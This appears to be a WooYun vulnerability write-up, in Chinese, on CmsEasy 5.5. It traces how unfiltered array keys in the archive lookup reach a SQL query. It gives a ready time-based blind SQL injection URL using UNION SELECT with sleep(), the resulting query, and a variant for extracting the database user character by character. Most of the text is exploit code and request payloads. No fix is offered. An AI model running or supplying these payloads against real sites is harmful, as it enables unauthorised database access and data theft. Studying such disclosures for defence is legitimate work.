WooYun.org

archive_act.php:(line:27-33)

}
        front::check_type($this->pagesize);
        $announcement = new announcement();
        $this->view->announcements = $announcement->getrows(null, 10);
        $this->view->usergroupid = 1000;
        front::check_type(cookie::get('login_username'), 'safe');
        front::check_type(cookie::get('login_password'), 'safe');
        $this->view->showarchive = archive::getInstance()->getrow(front::get('aid'));
        $addcontentuser = new user();
        $addcontentuser = $addcontentuser->getrow(array('userid' => $this->view->showarchive['userid']));

这里有一句:
$this->view->showarchive = archive::getInstance()->getrow(front::get('aid'));
我们跟进去这个函数getrow：

function getrow($condition,$order='1 desc',$cols='*') {
        $this->condition($condition);
        return $this->rec_select_one($condition,'*',$order);
    }

然后在看看这个函数condition：

function condition(&$condition) {
        if (isset($condition) &&is_array($condition)) {
            $_condition=array();
            foreach ($condition as $key=>$value) {
                //$value=str_replace("'","\'",$value);
                $_condition[]="`$key`='$value'";
            }
            $condition=implode(' and ',$_condition);
        }
        else if (is_numeric($condition)) {
            $this->getFields();
            $condition="`$this->primary_key`='$condition'";
        }else if(true === $condition){

这里我们发现了如果传递进来的东西key没有做任何过滤，
我们发送请求:
url:http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818_new/uploads/index.php?case=archive&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,if(1,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%23]=1
在后台抓取后看看是否效果sql语句完美执行:
SELECT * FROM `cmseasy_archive` WHERE `typeid`=1 UNION SELECT/**/1,2,3,if(1,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58#`='1' and (state IS NULL or state<>'-1') ORDER BY 1 desc limit 1
一个完美的sql语句执行完毕，这时候网页刷新时间为5秒钟，那么下来我们怎样去猜测字段
SELECT * FROM `cmseasy_archive` WHERE `typeid`=1 UNION SELECT/**/1,2,3,if(ascii(substr(user(),1,1))=$NUM,sleep(if(1,5,1)),1),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58#`='1' and (state IS NULL or state<>'-1') ORDER BY 1 desc limit 1
我们可以改变$NUM的值 这里要进行urlencode
ok剩余的就不解释了